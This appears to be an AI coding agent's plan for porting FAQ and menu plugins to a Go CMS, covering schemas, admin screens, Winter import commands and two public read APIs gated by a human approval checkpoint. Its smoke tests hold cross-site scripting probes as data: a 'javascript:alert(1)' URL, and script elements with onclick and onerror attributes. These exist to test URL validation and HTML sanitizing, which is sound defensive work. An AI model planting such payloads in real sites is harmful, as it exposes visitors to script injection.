- path: "../sm-menu-plugin/console/import_winter.go"
provides: "Winter menu import with the D-05 type map"
contains: "all-journal-categories"
key_links:
- from: "../sm-menu-plugin/controllers/menuentries.go"
to: "signpost.ReferenceOptions"
via: "DependentOptions for the reference field"
pattern: "ReferenceOptions"
- from: "../sm-menu-plugin/controllers/api/menus.go"
to: "signpost Registry.Resolve"
via: "registry entries resolved at request time with url_pattern as the item override"
pattern: "Resolve\\("
- from: "../sm-faq-plugin/controllers/api/faqs.go"
to: "summercms modules/seaglass"
via: "description and answers sanitized on output"
pattern: "seaglass\\.Sanitize"
prohibitions:
- statement: "The two public API shapes are written only after the human answers the D-16 and D-17 checkpoint; once shipped they are not changed in place (a change is a new version path)."
status: unresolved
verification: judgment
- statement: "Plugin code, READMEs and lang files never name a consuming application or site; examples use neutral names (acme, main)."
status: unresolved
verification: judgment
- statement: "Neither plugin edits summercms.go in this plan; a framework gap is reported in the SUMMARY; nothing is pushed (plan 05 pushes after human approval)."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): the sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
This plan's slice (plan 4 of 6, wave 2): the FAQ and menu plugins are ported in their own local repositories with admin screens, Winter import commands and the two published read APIs (D-16, D-17) behind a human checkpoint on their shapes.
## Spec-less probe fallback
Edge items owned by this plan, explicit truths above: SC-1 adjacency (duplicate FAQ slug serves the lowest id), SC-1 empty (empty import files), SC-1 ordering (equal sort_order breaks by id). Prohibitions recalled in-prompt, descriptor-less.
## Decisions taken in this plan
- Menu built-in type key `url` (PHP stored `link`, mapped on import; RESEARCH A5) and `divider`.
- Per-item pattern override for menu entries through an additive nullable `url_pattern` column (D-02 requires a per-item override; the PHP table has none; RESEARCH A4 / Open Question 2). PHP rows copy with NULL there. The UI-SPEC's optional `url_pattern` form field is added after `reference`.
- A new `target` dropdown (`_self`, `_blank`) in the entry form (RESEARCH Open Question 7; the PHP column exists, the PHP form lacked it).
- The menu API filters `is_published` (D-16 "published tree") although the PHP component did not; documented in the README as a deliberate D-16 behaviour.
- JSON field names are proposed at the checkpoint (Task 4); errors mirror Journal: `{"error":"Menu not found"}` and `{"error":"FAQ not found"}`; success bodies use the Journal envelope `{"data": …}`.
- Import refusals: unknown FAQ locale code aborts the whole import (the operator adds the locale first); a dropped menu entry drops its subtree, each dropped entry reported.
- Menu navigation: top-level "Menus" (icon list) with side items Menus and Menu entries (PHP hung them on SiteManager, which is out of scope), documented as an adaptation.
## Artifacts this phase produces (this plan)
- New local repository `../sm-faq-plugin` (branch main, module `git.golem15.com/golem15/sm-faq-plugin`, plugin ID `golem15.faq`, Requires golem15.translate): table `golem15_faq_faqs`, controller `golem15.faq.faqs`, permission `golem15.faq.faqs`, route `GET /_faq/api/v1/faqs/{slug}`, bucket `faq-public-api`, command `faq:import-winter`, `scripts/winter-export.sql`, README.
- New local repository `../sm-menu-plugin` (branch main, module `git.golem15.com/golem15/sm-menu-plugin`, plugin ID `golem15.menu`): tables `golem15_menu_menus`, `golem15_menu_menu_entries` (+ `url_pattern`), controllers `golem15.menu.menus` and `golem15.menu.menuentries` (reorder), permission `golem15.menu.manage_menu`, route `GET /_menu/api/v1/menus/{code}`, bucket `menu-public-api`, command `menu:import-winter`, `scripts/winter-export-menus.sql` and `winter-export-entries.sql`, README.
- Smoke tests: `TestFaqAdminSmoke`, `TestMenuAdminSmoke`, `TestFaqImportSmoke`, `TestMenuImportSmoke`, `TestFaqAPISmoke`, `TestMenuAPISmoke`.
<objective>
Give editors FAQ and menu screens in the admin, copy Winter data in, and publish the two read APIs the Nuxt layers will consume.
Purpose: SC-1 (menu and FAQ ports) and SC-3's API half (D-16, D-17).
Output: two plugin repositories with admin, imports, APIs and READMEs.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/17-blog-companions/17-CONTEXT.md
@.planning/phases/17-blog-companions/17-RESEARCH.md
@.planning/phases/17-blog-companions/17-PATTERNS.md
@.planning/phases/17-blog-companions/17-UI-SPEC.md
@.planning/phases/17-blog-companions/17-01-SUMMARY.md
Repositories: ../sm-faq-plugin and ../sm-menu-plugin are created here (git init -b main, no remote; plan 05 adds remotes after a human creates them). go.work and go.mod copy Journal's layout (`use .`, replaces to ../summercms.go and ../sm-translate-plugin; the summercms require is nominal and plan 05 bumps it to the plan 02 tag). Do not edit summercms.go here. Commits: no co-author tags, stage by explicit path in each repository. Docker: Postgres smoke tests run through a TestMain with flag.Parse() and testing.Short(); record NOT RUN when no daemon answers. Menu tests use a fake plugin that registers two types (one with references, one list type) so the menu plugin needs no Journal require.
Port sources (read-only): /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/faq/ (Plugin.php :60, models/FAQ.php, models/faq/fields.yaml and columns.yaml, updates/v1.0.1, controllers/faqs/, lang/) and /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu/ (Plugin.php :77, models/Menu.php, MenuEntry.php :106 beforeSave, models/*/fields.yaml and columns.yaml, updates/v1.0.1 and v1.0.2, controllers/menus/, controllers/menuentries/ incl. reorder_config.yaml, components/Menu.php, lang/), and the rendered markup in /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/g15_menu/default.htm and g15_faq/.
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: an editor creates a FAQ with questions in the admin, and the stored answers are sanitized with a notice</name>
<files>../sm-faq-plugin/.gitignore, ../sm-faq-plugin/go.mod, ../sm-faq-plugin/go.sum, ../sm-faq-plugin/go.work, ../sm-faq-plugin/plugin.go, ../sm-faq-plugin/admin.go, ../sm-faq-plugin/admin_navigation.go, ../sm-faq-plugin/admin_permissions.go, ../sm-faq-plugin/lang/en/lang.yaml, ../sm-faq-plugin/lang/pl/lang.yaml, ../sm-faq-plugin/models/registry.go, ../sm-faq-plugin/models/faq.go, ../sm-faq-plugin/models/faq/fields.yaml, ../sm-faq-plugin/models/faq/columns.yaml, ../sm-faq-plugin/controllers/admin_registry.go, ../sm-faq-plugin/controllers/faqs.go, ../sm-faq-plugin/controllers/faqs/config_form.yaml, ../sm-faq-plugin/controllers/faqs/config_list.yaml, ../sm-faq-plugin/updates/registry.go, ../sm-faq-plugin/updates/202610110001_create_golem15_faq_faqs.go, ../sm-faq-plugin/testmain_test.go, ../sm-faq-plugin/faq_smoke_test.go</files>
<read_first>../sm-journal-plugin/plugin.go, admin.go, admin_navigation.go, admin_permissions.go, controllers/tags.go, controllers/tags/config_form.yaml and config_list.yaml, models/tag.go, models/registry.go, updates/202610060003_create_golem15_journal_tags.go, updates/registry.go, admin_harness_test.go (TestMain, bootJournal, e.admin, adminAPI), go.mod, go.work; ../sm-translate-plugin/models/locale.go; summercms modules/lagoon/jsonable.go; summercms modules/cabana/README.md (repeater and richeditor from plan 01); /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/faq/ (whole plugin); .planning/phases/17-blog-companions/17-UI-SPEC.md (§6 FAQ, plugin copy rows for faq)</read_first>
<action>Per SC-1, D-07, D-10 and D-17 (relation), the FAQ admin path end to end.
Repository: git init -b main in ../sm-faq-plugin; go.mod (module git.golem15.com/golem15/sm-faq-plugin, requires summercms and sm-translate-plugin like Journal, the summercms replace line), go.work like Journal's. plugin.go: ID golem15.faq, Requires golem15.translate, HasMigrations, HasModels, HasLang, HasAdminControllers, AdminAssets, HasPermissions, HasNavigation, the compile-time assertions.
Schema: migration 202610110001_create_golem15_faq_faqs with the PHP columns (id SERIAL, name VARCHAR(255) NOT NULL, slug VARCHAR(255) NOT NULL, locale_id INTEGER NOT NULL, is_active BOOLEAN NOT NULL DEFAULT false, description TEXT NULL, content TEXT NULL, created_at and updated_at TIMESTAMP NULL) and a non-unique index on (slug, locale_id); Rollback drops the table. models.FAQ: TableName golem15_faq_faqs, MorphName Golem15\Faq\Models\FAQ, Content as lagoon.Jsonable of []map[string]any, a belongsTo Locale (translate models.Locale through locale_id), Fillable name, slug, locale_id, is_active, description, content; Rules name, slug and locale required.
Admin: controller golem15.faq.faqs (ModelName Golem15\Faq\Models\FAQ, ConfigDir controllers/faqs, RequiredPermissions golem15.faq.faqs, NewRecord). columns.yaml: id, name, slug, locale (relation, nameFrom name), is_active (switch), created_at (invisible), updated_at. fields.yaml (flat, Pitfall 9): name (left), slug (right, preset name), locale (relation, nameFrom name, comment labels.locale_comment, left), is_active (switch, comment, right), description (richeditor, full), content (repeater, prompt golem15.faq::lang.labels.add_question, titleFrom question; form.fields question text required, answer richeditor). Navigation: top-level FAQ (icon circle-question-mark, order 500) with side item FAQs; permission golem15.faq.faqs (developer and publisher roles). Lang en and pl with the PHP key names and the UI-SPEC copy (pl added).
TestFaqAdminSmoke (Postgres; harness modelled on Journal's admin_harness_test.go): boot translate plus faq, create an admin with golem15.faq.faqs, POST a FAQ through the admin API with two content rows where one answer holds a script element and an onclick attribute; expect 201, the stored answer without them, a meta.notices entry under content.1.answer, and the list endpoint showing the row with its locale name.</action>
<verify>
<automated>go -C ../sm-faq-plugin vet ./... &amp;&amp; go -C ../sm-faq-plugin test -count=1 -short ./... &amp;&amp; git -C ../sm-faq-plugin rev-parse --abbrev-ref HEAD | grep -qx main</automated>
<fails_when>Non-zero exit: vet fails, a Docker-free test or the boot-time YAML compile fails (for example a Winter key cabana does not accept), or the repository is not on branch main.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-faq-plugin test -count=1 -run '^TestFaqAdminSmoke$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestFaqAdminSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), or the FAQ was not created, an answer was stored unsanitized, the notice is missing under content.1.answer, or the list lacks the locale name.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "type: repeater" ../sm-faq-plugin/models/faq/fields.yaml` and `grep -c "type: richeditor" ../sm-faq-plugin/models/faq/fields.yaml` (at least 2) both succeed.
- `grep -n '"golem15.translate"' ../sm-faq-plugin/plugin.go` prints one line.
- `git -C ../sm-faq-plugin remote` prints nothing.
</acceptance_criteria>
<done>An editor can create and edit FAQs with question rows in the admin, and every answer is stored sanitized.</done>
</task>
<task type="auto">
<name>Task 2: Menu admin: menus and entries with the PHP save rules, the D-05 type set, the registry-bound reference, URL scheme validation and the tree reorder page</name>
<files>../sm-menu-plugin/.gitignore, ../sm-menu-plugin/go.mod, ../sm-menu-plugin/go.sum, ../sm-menu-plugin/go.work, ../sm-menu-plugin/plugin.go, ../sm-menu-plugin/admin.go, ../sm-menu-plugin/admin_navigation.go, ../sm-menu-plugin/admin_permissions.go, ../sm-menu-plugin/lang/en/lang.yaml, ../sm-menu-plugin/lang/pl/lang.yaml, ../sm-menu-plugin/models/registry.go, ../sm-menu-plugin/models/menu.go, ../sm-menu-plugin/models/menu_entry.go, ../sm-menu-plugin/models/menu/fields.yaml, ../sm-menu-plugin/models/menu/columns.yaml, ../sm-menu-plugin/models/menuentry/fields.yaml, ../sm-menu-plugin/models/menuentry/columns.yaml, ../sm-menu-plugin/classes/links.go, ../sm-menu-plugin/controllers/admin_registry.go, ../sm-menu-plugin/controllers/menus.go, ../sm-menu-plugin/controllers/menus/config_form.yaml, ../sm-menu-plugin/controllers/menus/config_list.yaml, ../sm-menu-plugin/controllers/menuentries.go, ../sm-menu-plugin/controllers/menuentries/config_form.yaml, ../sm-menu-plugin/controllers/menuentries/config_list.yaml, ../sm-menu-plugin/controllers/menuentries/config_filter.yaml, ../sm-menu-plugin/controllers/menuentries/config_reorder.yaml, ../sm-menu-plugin/updates/registry.go, ../sm-menu-plugin/updates/202610110001_create_golem15_menu_menus.go, ../sm-menu-plugin/updates/202610110002_create_golem15_menu_menu_entries.go, ../sm-menu-plugin/updates/202610110003_add_url_pattern_to_golem15_menu_menu_entries.go, ../sm-menu-plugin/testmain_test.go, ../sm-menu-plugin/menu_smoke_test.go</files>
<read_first>../sm-faq-plugin (Task 1 layout to copy), ../sm-journal-plugin/models/category.go (parent_id and nest columns), ../sm-journal-plugin/controllers/posts/config_filter.yaml (filter shape), summercms modules/cabana/README.md (dependsOn, config_reorder.yaml, toolbar reorder, FormBeforeCreate and FormBeforeUpdate, DropdownOptionsProvider), summercms modules/signpost/README.md (ReferenceOptions, Registry.Types), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu/ (Plugin.php :77, models/MenuEntry.php :106-130, models/menuentry/fields.yaml, models/menu/fields.yaml, columns.yaml files, updates/v1.0.1 and v1.0.2, controllers/menuentries/reorder_config.yaml and _list_toolbar.php), .planning/phases/17-blog-companions/17-UI-SPEC.md (§6 Menu, plugin copy rows for menu)</read_first>
<action>Per SC-1, D-02, D-05, D-08 and D-09.
Repository like Task 1 (module git.golem15.com/golem15/sm-menu-plugin, plugin ID golem15.menu, no Requires). Migrations: 202610110001_create_golem15_menu_menus (id SERIAL, name VARCHAR(255) NOT NULL, code VARCHAR(255) NOT NULL UNIQUE, is_active BOOLEAN NOT NULL DEFAULT true, css_class VARCHAR(255) NULL, timestamps), 202610110002_create_golem15_menu_menu_entries (the PHP v1.0.1 columns: menu_id INTEGER NOT NULL, parent_id INTEGER NULL, nest_left, nest_right, nest_depth INTEGER NOT NULL, sort_order INTEGER NULL, type VARCHAR(255) NOT NULL, title VARCHAR(255) NOT NULL, url, reference, code, icon, css_class, target VARCHAR(255) NULL, is_published BOOLEAN NOT NULL DEFAULT true, timestamps) with an index on (menu_id, parent_id, sort_order), and 202610110003_add_url_pattern_to_golem15_menu_menu_entries (url_pattern VARCHAR(255) NULL, D-02); each Rollback undoes only its own step.
Models: Menu (golem15_menu_menus, MorphName Golem15\Menu\Models\Menu, hasMany entries, Fillable name, code, is_active, css_class, Rules name and code required) and MenuEntry (golem15_menu_menu_entries, MorphName Golem15\Menu\Models\MenuEntry, belongsTo menu and parent, Fillable menu_id, parent_id, type, title, url, url_pattern, reference, code, icon, css_class, target, is_published). A GORM BeforeSave hook ports PHP beforeSave: nest_left, nest_right and nest_depth become 0 when unset, sort_order becomes the menu's maximum plus one when nil, menu_id is copied from the parent when a parent is set, title becomes an empty string when nil. classes/links.go: AllowedURL(url string) bool (http, https, mailto, tel, a leading slash or #; empty allowed) and a target check (_self, _blank or empty), used by the form hooks (a 422 field error errors.url_scheme or errors.target) and later by the API.
Admin: controller golem15.menu.menus (list and form: name left, code right with preset name, css_class left, is_active switch right). Controller golem15.menu.menuentries: list with the PHP columns, config_filter.yaml menu filter, toolbar buttons reorder, create, delete (showCheckboxes); config_reorder.yaml (title golem15.menu::lang.models.menuentry.reorder_title, nameFrom title, partition {column menu_id, relation menu, nameFrom name, label golem15.menu::lang.models.menuentry.menu}); form fields per the UI-SPEC table (menu dropdown full, parent relation nameFrom title with emptyOption, type dropdown, title, url with url_comment, reference dropdown with dependsOn type and reference_comment, url_pattern text with the url_pattern comment, code, icon, css_class, target dropdown default _self, is_published switch default on with context update). The controller implements DropdownOptionsProvider (menu: menus by name; type: url "Link", divider "Divider", then the signpost registry's types with their labels), DependentOptionsProvider (reference: url and divider answer applies false; registry types call signpost.ReferenceOptions; an unknown type answers applies false) and FormBeforeCreate and FormBeforeUpdate for the URL and target checks. Navigation: top-level Menus (icon list) with side items Menus (list) and Menu entries (list-ordered); permission golem15.menu.manage_menu (developer, publisher). Lang en and pl with the PHP keys and the UI-SPEC copy (Menuses corrected to Menus, Is_published to Published).
TestMenuAdminSmoke (Postgres, fake type plugin registering acme-page with references and acme-list without): create a menu and three entries through the admin API; the second entry saved without sort_order gets the maximum plus one and nest columns 0; a child inherits menu_id from its parent; reference outside acme-page's options answers 422; url javascript:alert(1) answers 422 with errors.url_scheme; a reorder POST nests the third entry under the first and writes parent_id and sort_order; a reorder POST naming an entry of another menu answers 409.</action>
<verify>
<automated>go -C ../sm-menu-plugin vet ./... &amp;&amp; go -C ../sm-menu-plugin test -count=1 -short ./... &amp;&amp; grep -q "golem15.menu.manage_menu" ../sm-menu-plugin/admin_permissions.go</automated>
<fails_when>Non-zero exit: vet fails, a Docker-free test or the boot-time admin YAML compile fails (for example reorder declared without config_reorder.yaml, or dependsOn without a provider), or the PHP permission code is missing.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-menu-plugin test -count=1 -run '^TestMenuAdminSmoke$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestMenuAdminSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or the PHP save rules, the reference recheck, the URL scheme refusal or the menu-scoped reorder did not behave as stated.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "url_pattern" ../sm-menu-plugin/updates/202610110003_add_url_pattern_to_golem15_menu_menu_entries.go` prints at least one line.
- `grep -n "buttons: \[reorder" ../sm-menu-plugin/controllers/menuentries/config_list.yaml` prints one line.
- `grep -n "dependsOn: type" ../sm-menu-plugin/models/menuentry/fields.yaml` prints one line.
</acceptance_criteria>
<done>Editors manage menus and their entries, pick registry content by type, and drag entries into a tree per menu.</done>
</task>
<task type="auto">
<name>Task 3: Winter import commands and read-only export SQL for both plugins (D-05 type map, locale remap, sequences)</name>
<reversibility rating="costly">D-05: the stored menu type values (url, divider and registry keys) written by the import are what the menu tables keep; renaming them later needs a data migration.</reversibility>
<files>../sm-faq-plugin/plugin.go, ../sm-faq-plugin/console/helpers.go, ../sm-faq-plugin/console/import_winter.go, ../sm-faq-plugin/scripts/winter-export.sql, ../sm-faq-plugin/faq_smoke_test.go, ../sm-menu-plugin/plugin.go, ../sm-menu-plugin/console/helpers.go, ../sm-menu-plugin/console/import_winter.go, ../sm-menu-plugin/scripts/winter-export-menus.sql, ../sm-menu-plugin/scripts/winter-export-entries.sql, ../sm-menu-plugin/menu_smoke_test.go</files>
<read_first>../sm-journal-plugin/console/import_posts.go (:39-64 bonfire.Command shape, flags, dry run), ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go (lookupDB :50-69) and import_categories.go (JSONL reading and report), ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql and README.md (header, mysql -N -B --raw, translate table name checks), .planning/phases/17-blog-companions/17-RESEARCH.md (Runtime State Inventory, Pitfalls 7, 11, 14, Open Questions 3 and 5), .planning/phases/17-blog-companions/17-CONTEXT.md (D-05, D-19)</read_first>
<action>Per D-05 and D-19 (plugin half) and SC-1.
Both plugins add pact.HasCommands; console/helpers.go copies lookupDB (use the published *gorm.DB, else lagoon.OpenFromApp plus lagoon.Publish) so the commands work in a summer build host (Pitfall 14).
faq:import-winter --file FILE [--force] [--dry-run]: JSON Lines rows {id, name, slug, locale_code, is_active, description, content, created_at, updated_at} where content is the PHP JSON string or an array; locale_id is the id of the translate Locale with that code (an unknown code aborts before any write, naming the code); one transaction; explicit ids kept; then SELECT setval(pg_get_serial_sequence('golem15_faq_faqs','id'), max(id)); a non-empty table is refused unless --force, which replaces the rows in the same transaction; --dry-run prints the report only; an empty file writes nothing and reports zero rows.
menu:import-winter --menus FILE --entries FILE [--map old=new ...] [--force] [--dry-run]: menus rows {id, name, code, is_active, css_class, created_at, updated_at}; entries rows with every PHP column; type map link to url and blog_categories to all-journal-categories plus --map pairs; page entries and entries of any type that is neither built-in, registered in signpost nor mapped are dropped with their subtree; a registry entry whose reference is not among signpost.ReferenceOptions for its type is dropped; every dropped or remapped entry prints one report line (id, title, old type, new type or reason); ids, menu_id, parent_id, nest columns and sort_order kept; setval for both tables; the same --force, --dry-run and empty-file rules.
Export SQL (read-only SELECT JSON_OBJECT, header in the categories.sql style: how to run with mysql -N -B --raw, what to check first, the translate table prefix check): sm-faq-plugin/scripts/winter-export.sql joins the translate locales table to emit locale_code; sm-menu-plugin/scripts/winter-export-menus.sql and winter-export-entries.sql emit one row per line.
Smoke (Postgres): TestFaqImportSmoke (two locales by code, ids kept, a new admin create after the import gets max id plus one, an unknown code aborts with nothing written, a second run without --force is refused, an empty file reports zero). TestMenuImportSmoke (link becomes url, blog_categories becomes all-journal-categories when the fake plugin registers it, a page entry and its child are dropped and reported, ids and parent_id kept, sequences bumped, --dry-run writes nothing).</action>
<verify>
<automated>go -C ../sm-faq-plugin vet ./... &amp;&amp; go -C ../sm-menu-plugin vet ./... &amp;&amp; go -C ../sm-faq-plugin test -count=1 -short ./... &amp;&amp; go -C ../sm-menu-plugin test -count=1 -short ./... &amp;&amp; cat ../sm-faq-plugin/scripts/winter-export.sql ../sm-menu-plugin/scripts/winter-export-menus.sql ../sm-menu-plugin/scripts/winter-export-entries.sql | grep -v '^[[:space:]]*--' | grep -ciE '\b(insert|update|delete|drop|alter|truncate)\b' | grep -qx 0</automated>
<fails_when>Non-zero exit: vet or a Docker-free test fails in either plugin, or an export SQL file contains a writing statement outside comments.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-faq-plugin test -count=1 -run '^TestFaqImportSmoke$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestFaqImportSmoke' &amp;&amp; go -C ../sm-menu-plugin test -count=1 -run '^TestMenuImportSmoke$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestMenuImportSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or a type was not mapped, a dropped entry was not reported, a locale was not remapped, a sequence was not bumped, or a refusal wrote rows.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n '"faq:import-winter"' ../sm-faq-plugin/console/import_winter.go` and `grep -n '"menu:import-winter"' ../sm-menu-plugin/console/import_winter.go` each print one line.
- `grep -n "setval" ../sm-faq-plugin/console/import_winter.go ../sm-menu-plugin/console/import_winter.go` prints at least one line per file.
</acceptance_criteria>
<done>A Winter site's menus and FAQs can be copied into the plugins with mapped types, remapped locales and a report of everything left out.</done>
</task>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 4: Confirm the published shapes of GET /_menu/api/v1/menus/{code} and GET /_faq/api/v1/faqs/{slug} before they are written (D-16, D-17)</name>
<read_first>.planning/phases/17-blog-companions/17-CONTEXT.md (D-16, D-17), ../sm-journal-plugin/controllers/api/posts.go (envelope and error bodies), .planning/phases/17-blog-companions/17-UI-SPEC.md (§7 and §8 layer needs), this plan's Task 1-3 SUMMARY notes</read_first>
<action>Print the proposal below with one example body each, built from the Task 1-3 fixtures, then stop.
Menu: GET /_menu/api/v1/menus/{code}?locale=xx (code matches letters, digits, dash and underscore). 200: {"data":{"code","name","css_class","items":[Item]}}; Item: {"id" (entry id, null for generated children), "title", "type" (stored type; generated children carry the parent's registry type key), "url" (string or null), "target" ("_self" or "_blank" or null), "css_class", "icon", "code", "items":[Item]}. Unknown or inactive code: 404 {"error":"Menu not found"}. Rules as in this plan's D-16 truth (published only, sort_order then id, scheme-filtered URLs, registry resolution with the requested locale's alternate, list types keep stored URL and title, unresolvable entries left out).
FAQ: GET /_faq/api/v1/faqs/{slug}?locale=xx (slug lowercase letters, digits and dashes). 200: {"data":{"name","slug","locale","description","content":[{"question","answer"}]}}; description and answers sanitized HTML strings (description may be null); unknown slug, inactive row or unknown or disabled locale: 404 {"error":"FAQ not found"}.
Both: anonymous, throttled per client IP (menu-public-api and faq-public-api, 120 per minute, 429 body as surf), JSON written with wire.WriteJSON, no CORS in the plugin (the host's cors.paths adds _menu/api/* and _faq/api/* in plan 05).</action>
<decision>Publish the two API shapes as proposed?</decision>
<context>D-16 and D-17 are one-way: the Nuxt layers (plan 05) and every later site consume these paths and field names; a change after release means a new version path and layer releases. The rest of this plan is reversible.</context>
<options>
<option id="approve">
<name>Approve as proposed</name>
<pros>Mirrors the Journal envelope and error bodies; covers every field D-16 and D-17 list</pros>
<cons>Field names are fixed from now on</cons>
</option>
<option id="adjust">
<name>Approve with named changes</name>
<pros>The human renames or adds fields before anything consumes them</pros>
<cons>The executor applies the named changes to Task 5 and the layer plan inherits them</cons>
</option>
<option id="hold">
<name>Hold the APIs</name>
<pros>Nothing is published</pros>
<cons>Plan 05 cannot build the layers; the site keeps its hardcoded menu and FAQ</cons>
</option>
</options>
<resume-signal>Reply "approve", "adjust: …" listing the changes, or "hold".</resume-signal>
<verify>
<automated>go -C ../sm-faq-plugin test -count=1 -short ./... &amp;&amp; go -C ../sm-menu-plugin test -count=1 -short ./... &amp;&amp; echo shapes-ready</automated>
<fails_when>Non-zero exit or "shapes-ready" absent: a plugin's Docker-free suite fails, so the proposal would rest on broken fixtures.</fails_when>
</verify>
<acceptance_criteria>
- The SUMMARY records the printed proposal, the example bodies and the human's reply verbatim.
</acceptance_criteria>
<done>A human approved (possibly with named changes) or held the two published shapes.</done>
</task>
<task type="auto">
<name>Task 5: The public menu and FAQ APIs with registry resolution, output sanitizing and throttling, and both READMEs</name>
<reversibility rating="one-way">D-16 and D-17: once the layers and sites consume /_menu/api/v1 and /_faq/api/v1, their paths and field names cannot change without a new version path.</reversibility>
<precondition>Task 4 was answered "approve" or "adjust: …" in this session; the approved shape (with any named changes) is recorded in the SUMMARY.</precondition>
<files>../sm-faq-plugin/plugin.go, ../sm-faq-plugin/routes.go, ../sm-faq-plugin/controllers/api/faqs.go, ../sm-faq-plugin/faq_smoke_test.go, ../sm-faq-plugin/README.md, ../sm-menu-plugin/plugin.go, ../sm-menu-plugin/routes.go, ../sm-menu-plugin/classes/tree.go, ../sm-menu-plugin/controllers/api/menus.go, ../sm-menu-plugin/menu_smoke_test.go, ../sm-menu-plugin/README.md</files>
<read_first>../sm-journal-plugin/routes.go, plugin.go (Buckets :97-130), controllers/api/posts.go (Categories :158-173, writeAPIError, gdb), summercms modules/seaglass/README.md, summercms modules/signpost/README.md (Registry.Resolve, Pattern), ../sm-translate-plugin/models/locale.go (code, is_enabled, is_default, sort_order), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu/components/Menu.php and themes/arsha/partials/g15_menu/default.htm (what the site renders), ../sm-journal-plugin/README.md (plugin README structure), this plan's Task 4 SUMMARY (approved shape)</read_first>
<action>Per D-16 and D-17 with the shape approved in Task 4 (apply any named changes).
Menu: routes.go mounts r.Group("/_menu/api/v1", surf.Use("throttle:menu-public-api"), …) with GET /menus/{code} and a Where on code; never the backend middleware. Buckets() adds menu-public-api (Max 120, Decay one minute, key "menu-public|" plus surf.ClientIP with the configured trusted proxies). controllers/api/menus.go loads the active menu by code (404 {"error":"Menu not found"} otherwise), loads its published entries ordered by sort_order then id, and classes/tree.go builds the nested tree: url entries return the stored URL when classes.AllowedURL accepts it (else null); dividers return null; registry entries call the signpost Registry.Resolve with the entry type, reference, url_pattern (item override, D-02) and the type's Nesting; a single type's URL is the alternate whose locale equals ?locale when given, else the resolved URL; a list type keeps the stored URL and title and its resolved Items (their URL picked the same way) follow the stored children; a resolve error or an unregistered type leaves the entry out and logs it; target outside _self and _blank becomes null. Response through wire.WriteJSON with the data envelope.
FAQ: routes.go mounts /_faq/api/v1 with throttle:faq-public-api and GET /faqs/{slug} (Where slug [a-z0-9][a-z0-9\-]*); Buckets() adds faq-public-api. controllers/api/faqs.go resolves the locale (by ?locale code among enabled locales, else the default locale; an unknown or disabled code is a 404), selects the active row by slug and locale_id ordered by id, and returns name, slug, locale code, description and content as [{question, answer}] with description and each answer passed through seaglass.Sanitize (questions are plain strings); 404 {"error":"FAQ not found"}.
READMEs (standard plugin structure, neutral examples, no consuming application or site names): overview, tables, admin screens and permissions, the API with example request and response and the error bodies, throttle buckets and the host CORS paths to add, the import command and export SQL workflow, the Winter adaptations (FAQ: tabs flattened, select to nameFrom, locale column added; menu: SiteManager navigation replaced, Children tab replaced by the reorder page, url_pattern and target added, published filter in the API), dependencies (summercms, sm-translate-plugin for FAQ) and testing.
Smoke (Postgres): TestFaqAPISmoke (default locale when ?locale is absent; ?locale=en picks the en row; an inactive row and an unknown locale are 404; a row inserted with raw SQL containing a script element in an answer and an onerror attribute in the description is served sanitized; duplicate slugs serve the lowest id; anonymous access works). TestMenuAPISmoke (unknown and inactive codes are 404; unpublished entries and their subtrees are absent; order by sort_order then id; a javascript: URL stored with raw SQL comes back null; the acme-list entry keeps its stored title and URL and carries generated children; an entry with a url_pattern override resolves with it; ?locale=en picks the en alternate).</action>
<verify>
<automated>go -C ../sm-faq-plugin vet ./... &amp;&amp; go -C ../sm-menu-plugin vet ./... &amp;&amp; go -C ../sm-faq-plugin test -count=1 -short ./... &amp;&amp; go -C ../sm-menu-plugin test -count=1 -short ./... &amp;&amp; grep -q "_faq/api/v1" ../sm-faq-plugin/README.md &amp;&amp; grep -q "_menu/api/v1" ../sm-menu-plugin/README.md</automated>
<fails_when>Non-zero exit: vet or a Docker-free test fails, or a README does not document its API path.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-faq-plugin test -count=1 -run '^(TestFaqAdminSmoke|TestFaqImportSmoke|TestFaqAPISmoke)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3 &amp;&amp; go -C ../sm-menu-plugin test -count=1 -run '^(TestMenuAdminSmoke|TestMenuImportSmoke|TestMenuAPISmoke)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than three passes in a plugin: unsanitized HTML served, an inactive or unpublished record exposed, a disallowed URL returned, the wrong locale picked, or the tree order differs.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n '"menu-public-api"' ../sm-menu-plugin/plugin.go` and `grep -n '"faq-public-api"' ../sm-faq-plugin/plugin.go` each print at least one line.
